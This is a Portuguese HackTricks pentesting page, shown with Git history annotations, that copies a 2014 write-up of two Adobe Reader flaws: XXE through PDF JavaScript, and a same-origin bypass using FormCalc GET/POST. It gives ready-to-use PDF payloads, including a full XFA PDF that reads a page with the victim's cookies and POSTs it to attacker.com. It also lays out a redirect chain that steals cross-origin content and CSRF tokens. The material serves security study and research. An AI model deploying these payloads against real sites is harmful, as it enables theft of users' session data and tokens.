hacktricks/pentesting-web/file-upload/pdf-upload-xxe-and-cors-bypass.md

138 lines
6.6 KiB
Markdown
Raw Normal View History

2023-06-06 18:56:34 +00:00
# Upload de PDF - Bypass de XXE e CORS
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-06-06 18:56:34 +00:00
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
2022-04-28 16:01:33 +00:00
</details>
2023-06-06 18:56:34 +00:00
#### Conteúdo copiado de [https://insert-script.blogspot.com/2014/12/multiple-pdf-vulnerabilites-text-and.html](https://insert-script.blogspot.com/2014/12/multiple-pdf-vulnerabilites-text-and.html)
2022-04-28 16:01:33 +00:00
2023-06-06 18:56:34 +00:00
### A função Javascript no Reader pode ser usada para ler dados de entidades externas (CVE-2014-8452)
2023-06-06 18:56:34 +00:00
Status: Corrigido\
Realidade: Não corrigido\
\
2023-06-06 18:56:34 +00:00
Este é sobre um simples XXE que descobri.\
Li o artigo "Polyglots: Crossing Origins by Crossing Formats", onde discutiram uma vulnerabilidade em\
XMLData.parse. Era possível usar entidades externas e referenciá-las.\
Li a especificação e descobri que existem mais funções do que "parse" para ler XML.\
Criei um arquivo xml simples, que referencia uma url do mesmo domínio e o analisei com loadXML.\
Funcionou:
2020-10-15 13:16:06 +00:00
![](https://4.bp.blogspot.com/-is4Q5hSZk-Y/VIwdzdAckWI/AAAAAAAAACI/OAzBs9Q-T50/s1600/xxe.png)
```
2020-10-15 13:16:06 +00:00
7 0 obj
<<
/Type /Action
/S /JavaScript
/JS (
var cXMLDoc = '<?xml version="1.0" encoding="ISO-8859-1"?><foo>muh</foo>'
var cXMLDoc2 = '<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [ <!ENTITY aaaa SYSTEM "http://example.com">]><ab>&aaaa;</ab>'
xml = XMLData.parse(cXMLDoc,false);
xml.loadXML(cXMLDoc2,false,true);
)
>>
endobj
```
2023-06-06 18:56:34 +00:00
O impacto é limitado porque\
o) é limitado à mesma origem\
o) as páginas HTML quebram o xml\
o) Entidades dinâmicas não são suportadas\
o) Eu tive a ideia de usar um xml utf-16 para evitar quebrar a estrutura xml, mas não funcionou.\
\
2023-06-06 18:56:34 +00:00
Mas ainda pode ser usado para ler JSON.
2020-10-15 13:16:06 +00:00
2023-06-06 18:56:34 +00:00
### Bypass da política de mesma origem no Reader (CVE-2014-8453)
2023-06-06 18:56:34 +00:00
Status: corrigido\
Realidade: corrigido, mas a mesma origem ainda é vulnerável!\
\
2023-06-06 18:56:34 +00:00
Na minha opinião, esta é a vulnerabilidade mais poderosa. Mesmo sem o Bypass de Origem, ela mostra\
o quão poderoso/assustador o PDF pode ser.\
Muitas pessoas sabem que o PDF suporta uma linguagem de script chamada Javascript, mas há outra.\
É mencionado na especificação para XFA, um tipo de arquivo também suportado pelo leitor da Adobe.\
Chama-se formcalc e não é tão poderoso. É usado para cálculos matemáticos simples. Mas na especificação da Adobe\
há três funções adicionais: 'GET', 'POST' e 'PUT'. Sim, seus nomes falam por si mesmos.\
'GET' tem um parâmetro: uma url. Ele usará o navegador (SIM, COOKIES) para recuperar a url e retornar o conteúdo dela.\
Podemos então usar 'POST' para enviar o conteúdo retornado para nosso próprio servidor:\
\
2023-06-06 18:56:34 +00:00
var content = GET("meusamigos.php");\
Post("http://atacante.com",content);\
\
2023-06-06 18:56:34 +00:00
Essas funções são da mesma origem, então um site precisa nos permitir fazer upload de um PDF. Isso não é tão irrealista para\
a maioria dos sites. Atacante.com não é da mesma origem, então você precisa configurar um crossdomain.xml, como de costume com produtos da Adobe.\
\
2023-06-06 18:56:34 +00:00
Para resumir: Isso não é um bug, é um recurso. Assim que você é permitido fazer upload de um PDF em um site,\
você pode acessar o site no contexto do usuário que está visualizando o PDF. Como as solicitações são emitidas\
pelo navegador, os cookies também são enviados. Você também pode usá-lo para quebrar qualquer proteção CSRF lendo os tokens.
```
2020-10-15 13:16:06 +00:00
% a PDF file using an XFA
% most whitespace can be removed (truncated to 570 bytes or so...)
% Ange Albertini BSD Licence 2012
% modified by insertscript
%PDF-1. % can be truncated to %PDF-\0
1 0 obj <<>>
stream
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
<config><present><pdf>
<interactive>1</interactive>
</pdf></present></config>
<template>
<subform name="_">
<pageSet/>
<field id="Hello World!">
<event activity="initialize">
<script contentType='application/x-formcalc'>
var content = GET("myfriends.php");
Post("http://attacker.com",content);
</script>
</event>
</field>
</subform>
</template>
</xdp:xdp>
endstream
endobj
trailer <<
/Root <<
/AcroForm <<
/Fields [<<
/T (0)
/Kids [<<
/Subtype /Widget
/Rect []
/T ()
/FT /Btn
>>]
>>]
/XFA 1 0 R
>>
/Pages <<>>
>>
>>
```
2023-06-06 18:56:34 +00:00
Depois de encontrar essas funções, encontrei uma forma de burlar a política de mesma origem. Isso torna possível usar o navegador da vítima como um proxy (@beef ainda está trabalhando no módulo^^).
2020-10-15 13:16:06 +00:00
2023-06-06 18:56:34 +00:00
A forma de burlar é realmente simples:
2020-10-15 13:16:06 +00:00
2023-06-06 18:56:34 +00:00
1. O usuário A carrega o evil.pdf de http://attacker.com/evil.pdf
2. O evil.pdf usa o formcalc GET para ler http://attacker.com/redirect.php
3. redirect.php redireciona com 301 para http://facebook.com
4. O Adobe reader seguirá e lerá a resposta sem procurar um crossdomain.xml.
5. O evil.pdf envia o conteúdo recuperado via POST para http://attacker.com/log.php
2020-10-15 13:16:06 +00:00
2023-06-06 18:56:34 +00:00
Observe que, usando essa técnica, você pode roubar os tokens CRSF de uma página e abusar das vulnerabilidades CSRF.
2022-04-28 16:01:33 +00:00
2023-06-06 18:56:34 +00:00
Essa simples forma de burlar foi corrigida agora. Espero que eles implementem um aviso de diálogo para solicitações de mesma origem também.